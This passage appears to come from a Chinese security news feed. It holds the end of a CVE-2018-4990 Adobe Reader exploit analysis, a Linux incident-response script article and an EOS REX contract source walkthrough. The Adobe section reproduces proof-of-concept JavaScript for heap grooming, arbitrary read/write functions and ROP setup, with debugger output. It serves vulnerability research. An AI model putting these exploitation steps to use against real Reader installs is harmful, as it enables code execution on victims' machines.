这里推测就是这段代码触发了越界访问, 因为纵观整个 POC, 这段代码前后基本就是内存分配布局操作了, 这里我们可以在 myfun1 中的代码段前后插入 alert 弹窗, 并配合调试器在越界访问的循环处下断点, 测试后发现, 正是执行了这段代码以后就断在了越界访问循环处. 通过测试发现删掉 myfun2 中的代码段并不影响, 但是删掉 myfun1 中的只保留 myfun2 中的或者删掉 myfun1 中的把 myfun1 中的代码段复制到 myfun2 也是不行的.

最后, 再来看一下修复过的文件在流程上有什么不同, 使用的修复版本为 Adobe Reader 2018.011.20040. 通过调试比较可以发现, 在分配了 20 字节大小的内存后给偏移 0x0c 处赋值时有如下区别:

if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
sub_66FAC(*(void **)(*(_DWORD *)(a2 + 0x48) + 0xC));
v78 = v140;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v78;
-----------------------------------------------------
if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
v80 = *(_DWORD *)(a2 + 0x48);
if ( *(_DWORD *)(v80 + 0xC) ) {
  sub_6706A(*(void **)(v80 + 0xC));
  v81 = v143;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v81;
}

可以看到, 修复前(分隔符上面的代码)在给偏移 0x0c 处赋值时没有做任何判断, 直接赋值, 而修复后的代码在赋值之前比较了是否为 0 , 如果为 0 则不进行赋值. 这里没有赋值到了后面进入循环之前自然就过不了是否为空的判断.

漏洞利用

我们用编辑器打开 POC, 查看其中的 JS 代码, 看看是如何利用该漏洞的. 打开后可以看到, 首先分配了一些内存, 这里我们可以用文章: CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析 中的方法, 在 JS 代码添加一些我们自己的代码来辅助我们分析对象在内存中的结构, 这里我们先在 a1 的分配循环后面插入如下代码查看 a1 分配后的情况:

var my_array = new Array(0x10);    
my_array[0] = 0x23badbad;
my_array[1] = a1[1];
my_array[2] = a1[2];
my_array[3] = 0;
a1[1][0] = 0xbadbad22;
a1[1][1] = 0xbadbad33;
app.alert("pause");

然后打开 POC, 在弹框后用 Windbg 附加, 使用命令

s -d 0x10000 L?7fffffff 0x23badbad

搜索. 这里注意, 经过测试, Tag 的设置不能大于 0×80000000, 不然搜索时会搜不到. 搜索到以后, 查看内存:

0:009> s -d 0x10000 L?7fffffff 0x23badbad
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
0:009> dc 05d15b70  
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
05d15b80  054926b8 ffffff87 00000000 ffffff81  .&I.............
05d15b90  05492768 ffffff87 054927c0 ffffff87  h'I......'I.....
05d15ba0  05492818 ffffff87 05492870 ffffff87  .(I.....p(I.....
05d15bb0  7247e12b 8c000000 69375cd4 05d14da8  +.Gr.....\7i.M..
05d15bc0  69375d20 69375d34 05d64838 00000000   ]7i4]7i8H......

这里可以看到我们设置的 Tag 以及我们放入的两个对象的地址. 每个地址后面跟的应该是该对象的类型, 这里我们放入的两个对象全是数组类型的, 所以都是相同的值. 这里注意到, 我们放入的那两个对象的地址几乎是挨着的, 我们查看一下:

image.png

因为 a1 的每个元素都是一个有 252(0xfd) 元素 Uint32Array, 总共有 0x3f0 字节, 我们可以在上面看到这两个值. 通过尝试, 我们可以知道, 上图中的 0x3f0 后面的 0x54372f0 偏移 0x0c 处的指针就是指向实际存储数据的指针(可以看到, 对象地址偏移 0×50 处也是该指针值: 0x05b601b0):

0:009> dd 054372f0 Lc
054372f0  054b2b38 05425be0 00000000 05b601b0
05437300  00000000 00000000 00000000 00000000
05437310  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 Lc
05b601b0  badbad22 badbad33 00000000 00000000
05b601c0  00000000 00000000 00000000 00000000
05b601d0  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 + 0n249 * 4 Lc
05b60594  0d0e0048 0d0f0048 00000000 736339a9
05b605a4  88000066 ffffff00 ffffff00 ffffff00
05b605b4  00000000 0000005f 000000a1 000000a1

这里可以看到我们设置的值以及 POC 代码设置的两个值. 通过 !heap 命令我们可以知道这块内存在堆中的大小, 这里我们也查看一下 POC 设置的两个值:

0:009> !heap -p -a 05b601b0 
    address 05b601b0 found in
    _HEAP @ 890000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        05b60198 0081 0000  [00]   05b601a0    00400 - (busy)
0:009> !heap -p -a 0d0e0048
0:009> !heap -p -a 0d0f0048
0:009> !address 0d0e0048
Usage:                  Free
Base Address:           08890000
End Address:            65b60000
Region Size:            5d2d0000 (   1.456 GB)
State:                  00010000          MEM_FREE
Protect:                00000001          PAGE_NOACCESS
Type:                   <info not present at the target>

可以看到此时 POC 设置的两个地址都还没有被分配. 继续查看 POC 可以发现接下来分配了 0×1000 个大小为0×10000 – 24 的 ArrayBuffer, 我们用上面获取对象地址的方法, 看下 ArrayBuffer:

for(var i1=1;i1<spraynum;i1++) {    
    sprayarr[i1] = new ArrayBuffer(spraylen);                         
}
var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[1];
my_array[2] = sprayarr[2];
my_array[3] = 0;
app.alert("233");

这里注意, 因为 ArrayBuffer 没法像数组一样直接使用, 所以不能像前面一样往这个数组中赋值了. 改好后打开搜索我们的 Tag, 找到我们的数组, 可以看到, 这里 sprayarr[1] 和 sprayarr[2] 同样的挨着的:

0:012> dc 05291f00 Lc
05291f00  23badbad ffffff81 0819e420 ffffff87  ...#.... .......
05291f10  0819e4b8 ffffff87 00000000 ffffff81  ................
05291f20  0056004e 00540049 005f0045 00540053  N.V.I.T.E._.S.T.
0:012> dc 0819e420 Lc
0819e420  05eb2b38 05e25be0 00000000 06cf0058  8+...[......X...
0819e430  00000000 00000000 00000000 00000000  ................
0819e440  00000000 00000000 00000000 00000000  ................
0:012> !heap -p -a 06cf0058  
    address 06cf0058 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        06cf0040 2000 0000  [00]   06cf0048    0fff8 - (busy)
0:012> dc 06cf0048 Lc  
06cf0048  00000000 0000ffe8 00000000 00000000  ................
06cf0058  00000000 00000000 00000000 00000000  ................
06cf0068  00000000 00000000 00000000 00000000  ................

这里分析尝试可以知道, sprayarr[1] 这个对象的地址偏移 0xc 处的指针 0x06cf0058 就是指向实际存储数据的缓冲区, 我们查看它发现 UserPtr 是从 06cf0048 开始的, 我们查看这里可以看到, 偏移 4 处是它的长度 0xffe8(0×10000 – 24). 此时我们再查看 POC 设置的那两个值:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (busy) 
0:012> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

可以看到, 这两个地址已经被分配了. 接着查看 POC, 可以看到如下代码:

for(var i1=1;i1<(l1);i1=i1+2) {    
     delete a1[i1];
     a1[i1] = null;
}

这里将上面 a1 中分配的数组隔一个释放一个, 我们前面知道了 a1 中一个数组元素的大小是 0×400, 执行完这段代码后, 就在内存中布局了一些大小为 0×400 的空洞:

0:012> !heap -flt s 0x400
    _HEAP @ 520000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0052e360 0081 0000  [00]   0052e368    00400 - (busy)
        048537c8 0081 0081  [00]   048537d0    00400 - (busy)
        ......
        05dc8d68 0081 0081  [00]   05dc8d70    00400 - (busy)
        05dc9170 0081 0081  [00]   05dc9178    00400 - (busy)
        05dc9578 0081 0081  [00]   05dc9580    00400 - (free)
        05dc9980 0081 0081  [00]   05dc9988    00400 - (busy)
        ......
        05fb2500 0081 0081  [00]   05fb2508    00400 - (free)
        05fb2908 0081 0081  [00]   05fb2910    00400 - (busy)
        05fb2d10 0081 0081  [00]   05fb2d18    00400 - (free)
        05fb3118 0081 0081  [00]   05fb3120    00400 - (busy)
        05fb3520 0081 0081  [00]   05fb3528    00400 - (free)
        05fb3928 0081 0081  [00]   05fb3930    00400 - (busy)
        05fb3d30 0081 0081  [00]   05fb3d38    00400 - (free)
        05fb4138 0081 0081  [00]   05fb4140    00400 - (busy)
        05fb4540 0081 0081  [00]   05fb4548    00400 - (free)
        05fb4948 0081 0081  [00]   05fb4950    00400 - (busy)
        ......
        05fbd158 0081 0081  [00]   05fbd160    00400 - (free)
        05fbd560 0081 0081  [00]   05fbd568    00400 - (busy)
        05fbd968 0081 0081  [00]   05fbd970    00400 - (free)
        05fbdd70 0081 0081  [00]   05fbdd78    00400 - (busy)
        ......

回忆前面分析漏洞的时候我们知道, 越界访问的那个数组分配的大小是 0x3f4, 有了上面的空洞, 这样在分配这个数组时就会落在空洞里, 由于 POC 已经在内存中布局好了越界访问时要释放的值, 这样分配时落在空洞, 越界访问释放时就会释放掉提前设置的那两个值了.

继续查看 POC, 接下来就是触发越界访问的代码了, 这里我们下断, 看看越界访问释放了那两个指定地址后后会发生什么:

; free 0d0e0048
0:000> !heap -p -a 0d0e0048 
    address 0d0e0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (free)
; free 0d0f0048
0:000> !heap -p -a 0d0f0048 
    address 0d0f0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (free)

可以看到, 在释放了 0x0d0f0048 后, 它和前面的 0xd0e0048 合并成了一个大小为 0x1fff8 的空闲块. 接着 POC 分配了 0×40 个大小为 0×20000 – 24 的 ArrayBffer, 这里会导致这个空闲块被分配, 并且大小为 0x1fff8:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 420000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (busy)
0:012> dd 0d0e0048 lc
0d0e0048  00000000 0001ffe8 00000000 00000000
0d0e0058  00000000 00000000 00000000 00000000
0d0e0068  00000000 00000000 00000000 00000000

然后 POC 遍历之前分配的那 0×1000 个大小为 0×10000 – 24 的对象数据, 找到这个大小为 0x1fff8 的块, 然后使用 setUint32 将偏移为 0×10000 – 24 的位置设置为 0×66666666, 这个位置也就是之前 0x0d0f0048 这个块的大小位置:

0:012> dd 0d0f0048 Lc
0d0f0048  00000000 66666666 00000000 00000000
0d0f0058  00000000 00000000 00000000 00000000
0d0f0068  00000000 00000000 00000000 00000000

可以看到, 0x0d0f0048 的大小位置被修改成了 0×66666666, 这样我们就获得了一个能访问很大范围的 ArrayBuffer. 接着 POC 找到这个大小 为 0×66666666 的块, 用它创建一个 DataView.

接着到如下代码:

for(var i2 = 1;i2<0x10;i2++) {
    arr1[i2] = new Uint32Array(sprayarr[i1+i2]);
    arr1[i2][0] = i2;
}

这里 i1 就是当初分配那些 0×10000 – 24 大小的块时, 0x0d0f0048 这个块在 sprayarr 中的中索引, 这里用该索引后面的块创建 Uint32Array, 并将第一个元素设置为索引值(这里可以用前面插入代码获取对象地址的方法查看 sprayarr 中相应位置的对象).

接下来执行到如下代码:

for(var i2=0x30000;i2<0x10000*0x10;i2=i2+4) {
    if( biga.getUint32(i2,true)==spraylen && biga.getUint32(i2+4,true) > spraypos  )
        ...

这里通过前面长度为 0×66666666 的块获取查找两个值, 这里调用 getUint32 时, i2 作为偏移, 而基址是这个大块的地址, 也就是 0x0d0f0058(0x0d0f0048 是堆 UserPtr, 使用从偏移 0×10 字节开始). 这里其实是从 0x0d0f0048 这个块后面偏移 0×30000 开始, 也就是其它的一些大小为 0×10000 – 24 的块开始查找(通过之前的方法可以测试得知, sprayarr 中的块按索引是连续的, 也就是说比如 i1 是 0x0d0f0048 块的索引, 那么 i1 + 1 处的块地址是 0x0d100048). 这里就是从 sprayarr[i1] 后面的第三个块开始, 此时我们可以在 if 块里增加打印 i2 值的代码, 看看匹配条件时 i2 的值是多少, 这里获得 i2 值是 0x3fff4, 我们在 Windbg 计算查看一下该处的值是什么:

0:012> dd 0x0d0f0058 + 0x3fff4
0d13004c  0000ffe8 1b297138 00000000 00000004
0d13005c  00000000 00000000 00000000 00000000
0d13006c  00000000 00000000 00000000 00000000
0d13007c  00000000 00000000 00000000 00000000
0:012> dd 1b297138 
1b297138  066b2b68 06625c00 00000000 66f89128
1b297148  00000000 00000000 00000000 ffffff81
1b297158  0000ffe8 ffffff81 087c0b40 ffffff87
1b297168  00000000 00000000 00000002 00000000
1b297178  00003ffa ffffff81 00000005 ffffff81
1b297188  0d130058 00000000 066b2b68 06625c00

我们可以看到, 这是第一元素被写为 4 的大小为 0×10000 – 24 的块(第一个元素实在填充 arr1 的循环中写入的), 通过用地址减去 0x0d0f0058 也可知道这是 0x0d0f0058 后面的第四个块, 这里比较的两个值第一个是块长度, 第二个此时不知道什么意思, 不过看 dump 出的内存很眼熟, 应该是 Uint32Array 对象的结构, 猜测是指向 Uint32Array 的指针, 因为在填充 arr1 的循环中用这些 ArrayBuffer 创建了 Uint32Array, 所以这里赋了这个值. 这里我们在前面填充 arr1 的循环后面插入如下代码验证一下:

var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[i1 + 1];
my_array[2] = sprayarr[i1 + 2];
my_array[3] = arr1[1];
my_array[4] = arr1[2];
app.alert("23333333333");

弹框后附加查看:

0:012> s -d 0x10000 L?7fffffff 0x23badbad
1834d9b8  23badbad ffffff81 087c0978 ffffff87  ...#....x.|.....
0:012> dd 1834d9b8  Lc
1834d9b8  23badbad ffffff81 087c0978 ffffff87
1834d9c8  087c0a10 ffffff87 1b297030 ffffff87
1834d9d8  1b297088 ffffff87 066ee420 ffffff87
0:012> dd 087c0978 Lc
087c0978  066b2b20 06625be0 00000000 0d100058
087c0988  00000000 00000000 00000000 00000004
087c0998  087a2818 00000000 00000000 00000000
0:012> dd 0d100058 - 10 Lc 
0d100048  00000000 0000ffe8 1b297030 00000000
0d100058  00000001 00000000 00000000 00000000
0d100068  00000000 00000000 00000000 00000000
0:012> dd 087c0a10 Lc
087c0a10  066b2b20 06625be0 00000000 0d110058
087c0a20  00000000 00000000 00000000 00000004
087c0a30  087a2818 00000000 00000000 00000000
0:012> dd 0d110058 - 10 Lc
0d110048  00000000 0000ffe8 1b297088 00000000
0d110058  00000002 00000000 00000000 00000000
0d110068  00000000 00000000 00000000 00000000

可以看到, 创建了 Uint32Array 的 ArrayBuffer 的块长度后面的指针就是相应 Uint32Array 对象的地址. 接着执行下面的代码:

mydv = biga;
var itmp = mydv.getUint32(i2+12,true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4,true) - spraypos +0x50;
mydv.setUint32(mypos-0x10,0x100000,true);
myarraybase = mydv.getUint32(mypos,true);

这里首先获取 i2 + 12 偏移处的值, 从前面的内存我们可以知道, 这里获取的是写入的索引 4, 然后用索引获取 arr1 中相应的 Uint32Array 对象. 然后计算一个该 Uint32Array 对象的地址到 0x0d0f0058 的偏移, 接着使用 setUint32 修改该 mypos – 0×10, 我们知道, 这里访问时是访问的 0x0d0f0058 + mypos – 0×10, 其实就是修改该的 Uint32Array 对象偏移 0×40 处的值, 我们查看一个 Uint32Array 对象可以知道, 这里正常情况下是元素的个数, 也就是总字节数 / 4 后的值, 这里将其修改为 0×100000. 然后再获取 Uint32Array 对象偏移 0×50 处的值给 myarraybase, 该处的值是实际存储数据的指针, 此时此刻, 这个 Uint32Array 对象该处存的指针就是写入索引 4 的那块内存.

然后接下来的操作就是通过下面两个函数了:

function myread(addr) {
    mydv.setUint32(mypos,addr,true);
    var res = myarray[0];
    mydv.setUint32(mypos,myarraybase,true);
    return res;
}
function mywrite(addr,value) {
    mydv.setUint32(mypos,addr,true);
    myarray[0] = value ;
    mydv.setUint32(mypos,myarraybase,true);
}

这里读取时, 首先将 Uin32Array 对象的实际存储数据指针替换为指定地址, 然后直接访问, 这样就获取了该地址处的值, 最后再写入原实际存储数据指针值. 写入时原理相同, 都是通过替换实际存储数据指针来完成的.

有了读写函数, 接下来 POC 通过这两个函数获取计算 Escript 模块的基址, 然后布局 ROP. 最后通过修改 bookmarkRoot 的一个函数指针执行 ROP. 这里我们断在 ROP 第一个地址, 也就是下面代码计算的地址:

mywrite(objescript+0x598,offset("sp1")-0x640c0000+dll_base);

断下后, 首先推测是通过函数调用过来的, 这里我们看下:

0:000> ub poi(esp) L8
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aad8:
66ae18e3 50              push    eax
66ae18e4 e8e466f9ff      call    EScript!mozilla::HashBytes+0x4794f (66a77fcd)
66ae18e9 59              pop     ecx
66ae18ea 85c0            test    eax,eax
66ae18ec 740f            je      EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aaf2 (66ae18fd)
66ae18ee 50              push    eax
66ae18ef a1548dc766      mov     eax,dword ptr [EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xab830 (66c78d54)]
66ae18f4 ff9098050000    call    dword ptr [eax+598h]

可以看到, 确实是通过函数调用过来的, 这里从 EScript 的一个地址处获得一个值, 并调用偏移 0×598 处的函数, 这下就能理解 POC 里面的操作什么意思了. 最后, POC 里的 Shellcode 有问题, 会导致奔溃, 主要原因是在如下代码中:

for(var i2=0;i2< rop1.length ;i2=i2+1) {
    myarray[i2+3] = rop1[i2] >  0x640c0000 ?(rop1[i2] - 0x640c0000 +dll_base):rop1[i2];
}
myarray[i2+3-2] = 0x90909090;
for(var i3=0;i3< dlldata.length ;i3=i3+1)

这里在设置 ROP 时, 判断是否大于 0x640c0000, 大于就减去并加模块基址, 但是 ROP 里有个 0×90909090, 本意是滑块指令, 但是写入时却被改变, 导致执行指令时异常导致奔溃.

参考

Taking apart a double zero-day sample discovered in joint hunt with ESET

CVE-2018-4990 POC

CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

*本文作者:

原文阅读

Linux主机安全检查与应急响应
guishen 2019-5-23 1:0 转存

我们在做主机安全检查或安全事件处置时,避免不了要去检查系统的安全情况。在进行Linux安全检查时,需要使用相关的脚本对系统的安全情况进行全面分析,一方面需要尽可能的收集系统的相关信息,另一方面在数量较多的时候尽可能的提高效率。

由于在多次的安全检查中遇到检查时都是几十台服务器要做一个全面检查的情况,如果人工手写脚本的话,一方面效率较低另一方面需要安全检查者熟悉所需要检查的项。

在这种情况下,本人写了一个Linux安全检查的脚本,该脚本主要在以下场景使用:

1.Linux主机安全检查时;

2.Linux主机发生安全事件需要全面分析时。

该脚本完成有一段时间,最近在应急响应群里讨论,发现这块的安全检查是大家的一个强需求,因此把该检查脚本共享给大家,共享的目的主要以两个:一是提高大家在Linux安全检查时的效率,释放大家的精力;另一方面希望大家在使用的过程中可以不断地发现问题,不断的总结缺少的安全检查项,协助完善该检查脚本。所以大家在使用过程中有任何问题或建议欢迎及时同步给我。

检查内容

整体框架

关于Linux安全检查,这里面我总结主要需要检查以下内容:

1.系统安全检查(进程、开放端口、连接、日志等)

这一块是目前个人该脚本所实现的功能;

2.Rootkit

建议使用rootkit专杀工具来检查,如rkhunter;

3.Webshell

这一块查杀技术难度相对较高,不是本脚本所需要实现的功能,针对这一块的检查可以使用D盾来检查 (Linux下可以将web目录挂载到Windows下进行检查);

4.Web日志

5.流量

这一块主要侧重主机的长期的流量分析,目前个人使用tshark实现了基础的流量分析,后期会进行相应的完善。流量这一块可以提取流量五元组、DNS流量、HTTP流量再结合威胁情报的数据进行深度分析。这个后期个人会进行相关的尝试,可能的话会进行相应内容的分享。

系统安全检查框架

image.pngimage.png

功能实现

功能设计

V1.0 主要功能用来采集信息 

V1.1 主要功能将原始数据进行分析,并找出存在可疑或危险项

V1.2 增加基线检查的功能

V1.3 可以进行相关危险项或可疑项的自动处理

目前到V1.2版本,后期完善V1.3相关的功能。

另外,操作上可以实现一键进行安全检查,并将检查后的结果保存到本机。只需要在hosts文本中输入相应的IP、账号、密码。操作上人工参与最小化。

各脚本功能说明

下载后相关整个脚本的目录结构如下所示:

checkrulues: 部分判断逻辑,这里面目前仅有端口的判断逻辑,后期可以将进程、应用程序是否有漏洞等,逻辑放在这里面进行安全检查,比较简单的判断逻辑直接在buying_linuxcheck.sh中可以实现;

buying_linuxcheck.sh: 核心检查逻辑;

del.exp: 删除远程服务器上的脚本与检查结果;

get.exp: 获取远程服务器上安全检查的结果;

hosts.txt:需要被检查的服务器列表;

login.sh:一键进行登录检查,安全检查时只需要运行该脚本即可;

put.exp:将安全检查脚本上传到远程服务器上;

readme.txt:使用相关说明文档;

sh.exp:在远程服务器上执行安全检查脚本;

下面针对其中部分脚本进行介绍。

Ø Checkrules

判断逻辑主要放在两个文件中:一个是checkrules中,格式为dat,这里面建议将比较复杂的判断逻辑放在这里,如下面的TCP危险端口这块,因为比较多,如果放在buying_linuxcheck.sh中则代码有些冗长,下面是TCP高危端口的判断逻辑,主要还是根据木马默认使用的端口号,这里面判断的逻辑相对简单,可能会存在误报的情况,所以后续需要人工介入分析。

image.pngØ buying_linuxcheck.sh

核心的功能收集与判断逻辑,比较简单的判断逻辑可以放在这里面进行判断。

image.png

使用

使用比较简单,将本脚本拷贝到自己一台Linux主机上,可以使用虚拟机,将需要被检查的服务器的IP、账号、密码放到hosts.txt目录中,直接运行即可实现一键安全检查。

相关操作

1.将需要被检查的服务器IP、账号、密码写入到hosts.txt文件中,格式为:

IP:port:user:userpassword:rootpassword

其中user为普通用户的账号,port为ssh登录端口,uesrpassword为普通账号的密码,rootpassword为root的密码,只所以加个普通用户是因为有的系统做了安全策略,不允许root直接登录,如果被检查的服务器允许root直接登录,可以直接把user和userpassword写成root以及root密码。

image.png

这里面被检查的服务器允许root直接登录,因此直接写root账号和密码。

2.运行安全检查脚本:sh login.sh

安全检查脚本就在后台运行了,稍等…….

image.png

3.看到删除远程服务器上的检查脚本与检查结果,就说明检查结束了。

image.png

4.检查结束后,会将远程服务器上的结果保存到本地主机上:

image.png

检查结果说明

检查结束后,将相应的结果解压后目录结构如下所示:

image.png

Ø Check_file

保存的是检查的最终结果,长这个样子……

image.png

Ø Log

目录中保存的是Linux系统日志,web日志这块目前脚本没有实现自动打包的功能,原因就是web日志经常太大,并且保存的日志可能从运行到现在的所有日志,很多日志并不需要进行检查与分析,因此在检查时相关人员可以根据具体情况进行打包相应的日志。

image.png

Ø danger_file.txt

保存的是在安全检查过程中发现的问题:

image.png

Ø sysfile_md5.txt

保存的是系统关键文件或系统文件的MD5值,之所以将这些关键文件的MD5记录下来主要有两个功能:一是周期性的检查时,可以与第一次的结果进行对比,若有变动会提示;另一个是可以将这些关键文件的MD5值跑一下威胁情报库或virustotal以发现可能存在的系统文件被替换的情况。

image.png

代码下载

相关代码已上传到github,有需要可自行下载,有问题也可以直接联系:

https://github.com/T0xst/linux

参考

在完成该脚本的同时也参考了前人写的各种判断逻辑,个人感觉本人这个脚本相对还是比较完善与适应应急响应与安全检查场景的。以下是参考前期的链接:

https://www.freebuf.com/sectool/108564.html

https://www.freebuf.com/sectool/123094.html

https://my.oschina.net/yomut/blog/714885

转发———–感觉还是挺实用的。

*本文作者:guishen,转载请注明来自FreeBuf.COM

原文阅读

EOS REX 安全系列之从源码开始玩转 REX(二)
SlowMist慢雾科技 2019-5-23 0:30 转存

前言

上一篇文章粗略分析了整个买卖 rex 的流程,由于篇幅的原因,剩下有一些细节没有分析到位。所以,这篇文章将在上一篇文章的基础上对一些细节进行深入的分析。

头图.png

前情回顾

上一篇介绍了买卖 rex 的流程,涉及到了几个函数,我们一起回顾下:

1、deposit:用于充值,将 EOS 变成 SEOS,也叫预备金。   

2、withdraw:用于提现,将 SEOS 换回 EOS。   

3、buyrex:用于从用户的预备金中扣除相应的份额,并用于 rex 的购买。   

4、sellrex:用于卖出已经结束锁定的 rex,并将本金连带收益一起放进用户的预备金账户中。    

5、add_to_rex_pool:用于将用户购买的 rex 放进 rex_pool 中,并根据 rex_pool 中的相关信息计算出用户能够购买的 rex 的数量,被 buyrex 函数调用。    

6、fill_rex_order:处理用户卖单,计算收益。

以上几个函数除了 sell_rex 和 fill_rex_order 其他函数都介绍得差不多了,本文将重点介绍这两个函数的细节。

sellrex 函数

void system_contract::sellrex( const name& from, const asset& rex )
   {
      require_auth( from );

      runrex(2);

      auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
      check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
             "asset must be a positive amount of (REX, 4)" );
      process_rex_maturities( bitr ); ///先收获成熟的rex
      check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex

      auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
      asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
      //订单状态不成功
      if ( !current_order.success ) {
         /**
          * REX order couldn't be filled and is added to queue.
          * If account already has an open order, requested rex is added to existing order.
          */
         auto oitr = _rexorders.find( from.value );
         if ( oitr == _rexorders.end() ) {
            oitr = _rexorders.emplace( from, [&]( auto& order ) {
               order.owner         = from;
               order.rex_requested = rex;
               order.is_open       = true;
               order.proceeds      = asset( 0, core_symbol() );
               order.stake_change  = asset( 0, core_symbol() );
               order.order_time    = current_time_point();
            });
         } else {
            _rexorders.modify( oitr, same_payer, [&]( auto& order ) {
               order.rex_requested.amount += rex.amount;
            });
         }
         pending_sell_order.amount = oitr->rex_requested.amount; 
      }
      check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
      // dummy action added so that sell order proceeds show up in action trace
      if ( current_order.success ) {
         dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
      }
   }

以上为 sellrex 函数的具体实现,从开头开始一步一步进行分析。首先抛开 runrex 这个函数,这个函数并不属于本次讨论的范围,runrex 函数主要用于处理 rex_pool 的信息,包括处理到期的资源租赁订单,回收用户资源,处理用户的 rex 卖单等,有兴趣的同学可以先自行研究,以后的文章也会进行单独的分析。

接上篇分析,sellrex 函数我们分析到了 fill_rex_order 函数就没有继续往下分析了,fill_rex_order 函数也只是讲了最核心的收益公式,这次我们来仔细进行分析。sellrex 流程如下: 

1、经过了一系列的检查之后,获取用于已经解锁的 rex 的数量,调用 fill_rex_order 获取用户的卖单。    

2、卖单携带着订单的完成状态,这是一个 flag,分为成功和失败两种状态,当状态为失败的时候,进入上文的 if 条件。 

2.1、订单状态成功 

订单状态成功的时候 current_order.proceed 的值大于 0,这个时候通过 update_rex_account 将卖 rex 的所得转至用户的储备金账户。用户就可以直接进行提现或者继续下一轮的购买了。 

2.2、订单状态为失败 

这个时候创建一个 order,我们这里为了不混淆,不说卖单,而是说为欠条,是一个 REX 平台给你的借条。什么意思呢?打个比方,你去商店订购商品,商品存货不足,这时候怎么办呢?这时候商店就会给你打一个单,这个单记录了你是谁,你要买多少的商品,买的时间等信息,等有货了就会根据这个单给你补上商品。REX 也是同样的道理,用户在卖 rex 的时候,由于 rex_pool 中的资金不足以支付用户的本金 + 收益,就会将用户的订单暂时挂起。这就是 REX 给你打的欠条,当 REX 资金充足的时候,就会把钱还你。当 sellrex 失败的时候,这个借条记录了以下信息: 

(1)卖 rex 的用户。    

(2)要卖的 rex 的数量(记录在 rex_requested 字段中)。    

(3)用户的收益,此时为 0,因为 rex 没有卖出去,收益是不存在的。    

(4)抵押状态,这个抵押状态是由于 buyrex 的时候,根据购买的数量会产生的相应的票权。   

(5)这个欠条创建的时间。 

3、最后,检查挂起的金额有没有超过已经解锁的 rex 的数量。

以上就把 sellrex 完整的讲完了,但是还有一个疑问,就是为什么会存在资金不足的情况,以及如何判定资金不足?这些秘密都在 fill_rex_order 里面。下面就详细的分析 fill_rex_order 函数。

rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
   {
      auto rexitr = _rexpool.begin();
      const int64_t S0 = rexitr->total_lendable.amount;
      const int64_t R0 = rexitr->total_rex.amount;
      const int64_t p  = (uint128_t(rex.amount) * S0) / R0; ///越多人借用资源收益越高
      const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
      const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
      asset proceeds( p, core_symbol() ); ///获得的收益
      asset stake_change( 0, core_symbol() );
      bool  success = false; ///默认订单完成状态为0

      check( proceeds.amount > 0, "proceeds are negligible" );

      const int64_t unlent_lower_bound = rexitr->total_lent.amount;
      //计算能未质押的rex pool中的EOS的数量,用于接下来观察是否足够支付用户产生的rex利润
      const int64_t available_unlent   = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible 
      //rexpool中的钱足够支付rex利润
      if ( proceeds.amount <= available_unlent ) {
         const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
         const int64_t current_stake_value    = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
         _rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
            rt.total_rex.amount      = R1;///更新rex pool中的rex的数量
            rt.total_lendable.amount = S1; ///更新lenableEOS数量
            rt.total_unlent.amount   = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
         });
         //对用户的rexbalance账户进行操作
         _rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
            rb.vote_stake.amount   = current_stake_value - proceeds.amount;
